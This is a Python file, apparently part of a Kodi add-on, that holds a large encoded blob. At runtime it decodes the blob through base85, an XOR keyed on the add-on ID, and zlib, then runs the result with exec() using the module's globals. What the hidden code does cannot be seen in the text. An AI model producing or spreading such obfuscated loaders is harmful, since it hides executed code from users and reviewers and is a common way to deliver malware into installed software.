# -*- coding: utf-8 -*-
# Auto-wrapped (zlib -> XOR -> base85). Runtime: base85 -> XOR -> zlib -> exec
# Kodi-safe guard: legacy globals and __package__ prepared before exec.
import base64, zlib, itertools
def _ptw_key():
    try:
        import xbmcaddon
        a = xbmcaddon.Addon()
        return (a.getAddonInfo('id') or 'plugin.program.PLTW_K20').encode('utf-8')
    except Exception:
        return b'plugin.program.PLTW_K20'
def _ptw_xor(data, key):
    return bytes(b ^ k for b, k in zip(data, itertools.cycle(key)))
_PAYLOAD = """2)3{>h5+?OVvxzzS<NwYE!xXqle89qYO*RjZD1U#VcoJ(X>@7@IC2eW8w)PIa=wy+?*`@rz&!g;?P9>xdKLExE)Sc|gqX~_y7DoMWHm?OscwAEjYEEODA_d)?pX|n`ArR{o(ORD5MZS1ssFUK-C-%q3NL!c!!!0<O<ihanSFBwm>~OUv)9=8A8lxsZufEvVw80jQ0IFr31VE}Ne(GpZwhT*_`F&%F3oqB!}kdY0xpO2eDvB9Y<5WAd#de^IjT3hGYkt#@s7A#yRT!?@`hQstJt?=8lNiTmIM^AW|Ogi3uVgc>!W0ryW64Gxa0cl6K&Q(X@uL?Zq^6eG@|NYR}kM4-EH_BQi9xMT`;04(I;8;`#}Hxd#)H^Fiefmbkc++xbzSM9;p8mU%XNVGG%z@F?M&ba7cl)QKEkY&U~a(p7M<op4y!H>vOpm8u%vR#ks+_a2AS?8)H$C!;-sccF8?D;$UYsYtQfXs8)breg^u&8yK!0FdZ*^QoQ)14K5PF;gi;6d4~#L6ZU8u)6L77g#7ESW~Jxmnj?jL-*Urhq>(twgj2-pjC2FUq^zkROXNB8a$ZD~gpjO;l`r7_?f`pNr)pULa`nBsC$mYn@#v@y)6Wn}>3_qu^7z~EmaZ3N3Yt$OApF*lvc(zZp57c&S*>x8fp*zA1o6lDkg(e?06orW_M}{e+KHm7l=U3$E26X_l#YDtV7on?=sj@5qi@MTh0`|x6Tr)bg53c<gv`=0g;{as+lm|MAzo81P7{H-g#WlE#o;nE&Z-`=X7z0ry{qG>(i~_p;KcM{%Pmk@W>y$z+ng1L1E$&N-C2$zAo4W`+bj$Pjo8p37)i3RoSy|%aG*!dC^TEEAm#q+@GhI&50;3c#xqT7nKV{acy4_yRkK@}O1Op@KdR4bS}?%JXzOmsm7<)_ffw9DNJ1D9RnQ5GWzhK8e<4)d0Le-kiQ1JC?mi*JAi3>8Qmw__XF4-r<R?6dL&6@bN1nyS;dN>koUTD9?B_wJu9;l?$%WCW<X<~N&>8D2Ww{PBUlVih&<lLc^x=kY1S-H4*a809EH%hfdcw{Eo?4qNq&}dd*7rg~1D6P{-Eyn~t5p6Bf?KM*z5KLx2gRl!1&HN$nUx?E?r!=6!5VL&6|wiECSaaBzX3N#CVT#*BDCEW4bDBynU|D`ebgBTg3erQ76OPTEATyS0-1=ksztgzSBVXJ2BP*jw#IFFEGllLj~9EfhMCDxlf%+5k=0guy;%?jTC$0n3+|c@(CUCTHpPs#0uy}hRQ-yz1PshRN&fE-eVI0Wk=AL9{>}0MW;~U3{Du5tMNmbJC2aaLD^84K`w?P<CVq`^GQg{q0ElIpDDU<>RHu65z^Z!#BZoCmOXYgmbG!>4f-7Ly<w!u*xvNXI#bqSeUd8Q^G2ebnJO&-F<gU&0-{X4c)<(16VH2VK$-{;i+HD{(Xnge{FM~r^;eNYNy({>UEqpE1r$`j?I9eJsPl<+WC}!aPSGAf;45f8gsmCasc;q@edtR3^TFc`Z*TqBT1)_}6H`xF7*!fI(;Q+1uwG}&7Sc9$cFW2uI*7Ycxz^PIoJ#1k"""
_d = base64.b85decode(_PAYLOAD)
_d = _ptw_xor(_d, _ptw_key())
_code = zlib.decompress(_d).decode('utf-8','replace')
g = globals()
for _n, _v in (('mode', None), ('url', None), ('name', None),
               ('description', None), ('iconImage', None), ('fanart', None)):
    if _n not in g: g[_n] = _v
if '__package__' not in g or not g['__package__']:
    n = g.get('__name__','')
    if '.' in n: g['__package__'] = n.rpartition('.')[0]
exec(compile(_code, __file__, 'exec'), g, g)
